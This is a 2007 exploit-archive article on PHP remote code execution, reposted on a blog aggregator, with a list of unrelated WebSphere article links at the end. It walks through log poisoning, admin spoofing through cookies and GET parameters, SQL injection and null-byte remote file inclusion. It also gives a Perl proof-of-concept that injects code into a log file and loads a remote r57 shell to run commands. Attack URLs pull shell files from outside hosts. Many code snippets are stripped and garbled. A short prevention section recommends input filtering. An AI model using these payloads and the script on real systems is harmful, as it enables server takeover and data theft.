博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
Php Endangers - Remote Code Execution
阅读量:2436 次
发布时间:2019-05-10

本文共 12652 字,大约阅读时间需要 42 分钟。

 
/*					Php Endangers - Remote Code Execution						Arham Muhammad						rko.thelegendkiller@gmail.com           															*/============================An Article By Arham MuhammadHacking-Truths.Net============================x41 - Introx42 - Basics Of Remote Code Execution And How It Developsx43 - Exactly How An Attacker Get Advantage Over This Vulnerability And Misuse It!x44 - Prevention And Filtrationx45 - Conclusion========================================================x41 - Intro+++++++++++++++++++++++++++++++++++++++++++++++++++++++++The B@sIc::InTr0:Remote Code Execution Is Yet Another Common Vulnerabilityexisting is wide range of web apps in the current era.It allows a remoteattacker to execute arbitrary code in the sytemwith administrator privelages without the attention ofthe owner of the targetted site.It's just not a-hole-to-avoid, but anextremely risky vulnerability,which can endanger your site to different attacks,malicious deletion of data,even worst Defacing!+++++++++++++++++++++++++++++++++++++++++++++++++++++++++x42 - Basics Of Remote Code Execution And How It Develops============================================================Basic Remote Code Executions:Now I will highlight some basics remote code executionsbeing planted that exist still in this era of web app development.We will now examine a comment form getting comments from a user("submit.php") and posting it at "comments.php"We Are analyzing submit.php with simple post method that submits the gathered user input and forward the request tocomments.php./*submit.php::

==========================================================comments.php::
'.'
.'
'.'Comments::'.'
'.$comments);fclose($log);?>*/Now by just looking at it, we could very easily proove it as insane! How?? Well,as we can see there is a form that submitsa user inputted(what-so-ever) comments to comments.php including malicious which writes the comments exactly as user's input witout being sanitized.This means that an attacker here is getting full advantage to exploit the vulnerable comments submission form by executing some malicious request, which could be just to gather server details like using phpinfo()which is an exceptional case for attackers these days,or even more pathetic could be getting a shell on a vulnerable server.We will take another example using GET request to display error message and log the ip with the specific message.(it's a common vulnerability planted by the coder while developing a website for an organization,etc).'x'./*info.php::
'.$msg.'
'.$ip.'
');fclose($error);?>*/This piece not only effect and vulnerable to remote code execution but also to several other attacks includingxss,javascript injection,vbscript injection etc.This will too allow a remote attacker to posion the log file and inject malicious code to the logs.============================================================================================================Now I will highlight another type of remote code execution can also be defined as posioning the cookies ;)/*
*/Now we see the code is really pissed! In simple terms, its trying to say if the cookies of the system matches "admin"then it verifies a user as the administrator.This is totally bad!We will look upon another example like this which uses GET request to verify a user status::/*$admin = $_GET['admin'];if(!isset($admin == 1)){$queryxyz = "SELECT * from user where username='$admin'";header("Location:admin/admin.php");}*/It can be just more complicated than that, like most possibly there can be usage of sessions to verify admin if thevariable "admin" would match "1", how ever this is just an sql query used to select administrator as the user whenadmin = 1 ;) The query is giving possibly another vulnerability :P Yeah, right "Sql INJection!";=================================================================================================================Remote Code Execution is also possible through headers deposition or an arbitrary file upload if theres a file processingsystem and is not sanitized.==========================================================================================================================================================================================================================x43 - Exactly How An Attacker Get Advantage Over This Vulnerability And Misuse It!=========================================================================================================I will highlight exactly how an attacker manage to do thisLikely supposing an attacker finding a vulnerable target and he got hold of the news that a GET variable have beenimplemented here in order to log a particular data to some specific file lets say 'x'. The attacker will struggle to theirbest to get hold of the file where the data is being wrote, path arrays are used by the attacker for successfull exploitationand then of course the attacker will likely inject some maliciousstring in order to check if it's filtering the output, in this case no it's not doing any checkup or using htmlentities or htmlspecialchars() funcs.So the attacker will likely get a hell lot of benefit from this.Most probably he will try to spawna shell on the targetted server to gain full advantages of his or her blackhat stuff ;)Supposing an attack on the victim hosthttp://victim.xxx/info.php?msg=
This will posion the log file and inject a vulnerable piece of code which can be later exploited andtreated as a Remote File Inclusion(RFI) Vulnerabilityto get a shell on the victim server and show his/her dirty works..Probably, ||http://victim.xxx/errorlog.php?attacker=Sh3ll?||This will do the work! ;)In some other cases like the one "if(!isset($admin == 1)" it could be also exploited with great ease, the attacker justhave to spoof the variable from the server request and that's not at all difficult being a GET variable :phttp://victim.xxx/file.php?admin=1This will do it ;)and for the cookies thingy it's same... just need to edit cookies and you are the master!Supposingly the below pattern::if(!isset($_COOKIE['administrator'])){//Some Authencation Headers Below...}In this type of pattern, you just change the cookies to administrator and tada you are in as admin!It's better to handle the case with care.I will now write a little POC(Proof-Of-Concept) in order to explainand exploit the target remotely and quite easily! It's not good but important to use such kind of scriptto expoit the issue and execute the command successfully,since the browser will surely encode your tags, makingthe request not at all efficient and successful!The below script would bypass this, and fulfill it's purpose at all cost :)=================================================================================================POC::/*#!/usr/bin/perl#Php Endangers - Remote Code Execution#POC To inject and execute a malicious request, probably spawning and executing a shell commanduse LWP::Simple;use LWP::UserAgent;sub header(){print q{-----------------------------------------------------------------------------------------Usage
Example roc.pl http://127.0.0.1 info.php msg errorlog.php http://127.0.0.1/r57.txt ls -la------------------------------------------------------------------------------------------}}$inject = "
";#You may notice some additional funcs used to inject, these are to execute and produce 99% successful result#it would help and bypass magic_quotes func and stripslashes too, that would possibly of lot good to the attacker!if(@ARGV !=5){header();}$target = @ARGV[0];$file = @ARGV[1];$var = @ARGV[2];$log = @ARGV[3];$shell = @ARGV[4];$command = @ARGV[5];$agent = LWP::UserAgent->new();$exec = "http://$target/$file?$var=$inject";$agent->get("$exec");$exec2 = "http://$target/$log?attacker=$shell&$cmd=$command?";$agent->get("$exec2")or die"Host Seems Down";print "Injected Successfully!!";print "Check The Shell Manually At"." "."http://$target/$log?attacker=$shell&$cmd=$command?";#REMOTE CODE EXECUTION#An explanation POC for exploiting the roc(Remote CODE Execution) Vulnerability.*/===============================================================================================================Null Bytes Injection::In A Piece Of Code Like One Mentioned Below, It Would Be A Wonder To An Attacker How To Eliminate The CompulsoryFile Extension And Exploit The Vulnerability Or Use The Inclusion To Execute A Shell Upon The Tagetted Server.
Now we can clearly declare the above code as a critical vulnerability, helping attacker to do a lfi or rfi dependingon the attacker's strategy.But it's clear that the inclusion would be failed because of the extension increment issue.Now the attacker would surely like this at all, and will try to elminate the extension by using NULL BYTES Or Posioningnull bytes in to the server.Below is an example what exactly happens when a inclusion is performed in such case::http://victim.xxx/include.php?file=http://127.0.0.1/sh3ll.txt?since the code is adding extensions after $file variable means it would be adding .php after .txt, thus makingthe exploitation dumb,in simple it would make the request looks like::http://victim.xxx/include.php?file=http://127.0.0.1/sh3ll.txt.php?Where such case dont exist!Now the attacker will eliminate the extension to successfully exploit the issue by posioning null bytes in the requestmade,below is how the attacker will manage to do so::http://victim.xxx/include.php?file=http://127.0.0.1/sh3ll.txt%00This would make the request eliminate the additional extension, and would successfully exploit the issue!=====================================================================================================x44 - Prevention And Filtration=====================================================================================================Prevention::It's better to design what-so-ever form in such a way that it sanitizes and filters a user input beforewriting or actually executing the request on the server. This can be done easily with the ease of phpbuilt in htmlentities(); htmlspecialchars(); and most importantly strip_tags and stripslashes functions. This Will abort a malicious request and will execute the request after the malicious tags had been aborted.For instance an attacker trying to inject a piece of code 'y' to a GET variable....http://victim.xxx/file.php?var=
now if the file is under htmlentities,htmlspecialchars,strip_tags or stripslashes() protection, then this will make the request of the attacker totally dumb and of course of no use!Supposingly a simple filtration pattern:/*
*/This will abort the tags "
","()" and ofcourse will make the rest of the piece of code of no use since"phpinfo" is not insane or looks malicious the server will only write that in exact ascii form to the file.There are even better cures by using magicquotes on, how ever it can cause some other complicated problems if not used properly, so it's not recommended to beginners until they know what they are doing.===========================================================================================================================x45 - Conclusion===========================================================================================================================Conclusion::I have used several examples to explain the basics of remote code execution and exactly how it's planted in web apps.I have tried my level best to explain the terms and consequences in simple and easy words including all piece of codesmentioned here.However I don't hold any responsibility of any misuse or dirtyworks performed by gaining the knowledgewithin the paper.Beside this, I strongly recommend all to go through it, it's simple and easy and will awoke the dangersthat can be encountered by little careless mistakes!+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++PhP EnDang3rs - R3m0t3 c0d3 3x3cu-|!on===============================================================================================================================================================Greets:: str0ke(soo supportive nd the best!),HackMan(simply gr8),tushy,(owe you a lot!) Abdullah,Saad,Faisal,Maaz,Talha And Ofcourse my sweet sweet AmBi(My love!!) ;)Wishes also goes to all my friends at milw0rm forum(the place i loved and every body does) and to the whole of Pakistan!!Of course Hacking-Truths.Net - A Great Place To Get Hold With Latest Stuff!And Evergreen milw0rm.com================================================================================# milw0rm.com [2007-08-15]

转载地址:http://pummb.baihongyu.com/

你可能感兴趣的文章
赋能:打造应对不确定性的敏捷组织
查看>>
Java 学习方法浅谈
查看>>
Jsp连接数据库大全
查看>>
WebSphere Application Server 常见问题及解答:安全
查看>>
WebSphere Application Server 常见问题及解答:集群
查看>>
使用 SIBus JMS 提供者
查看>>
调试 SCA 调用
查看>>
SOA 治理框架和解决方案架构
查看>>
面向企业的云计算—了解云的一些基本概念
查看>>
实现基于角色的授权
查看>>
使用定制工作流程更新 RSS 数据源
查看>>
使用 WebSphere Business Modeler 进行业务建模
查看>>
SOA 案例研究:Web 2.0 SOA 场景
查看>>
IBM BPM BlueWorks:一次 WebSphere 云试验
查看>>
websphere笔记
查看>>
使用 WebSphere Process Server 关系开发集成解决方案(2)
查看>>
最新最全的Portlet 通信过程详解
查看>>
在LINUX中安装WEB SPHERE5.1的正确方法
查看>>
WebSphere简单故障排查
查看>>
ITCAM for Websphere v6.0与ITM v6.1集成的快速指南
查看>>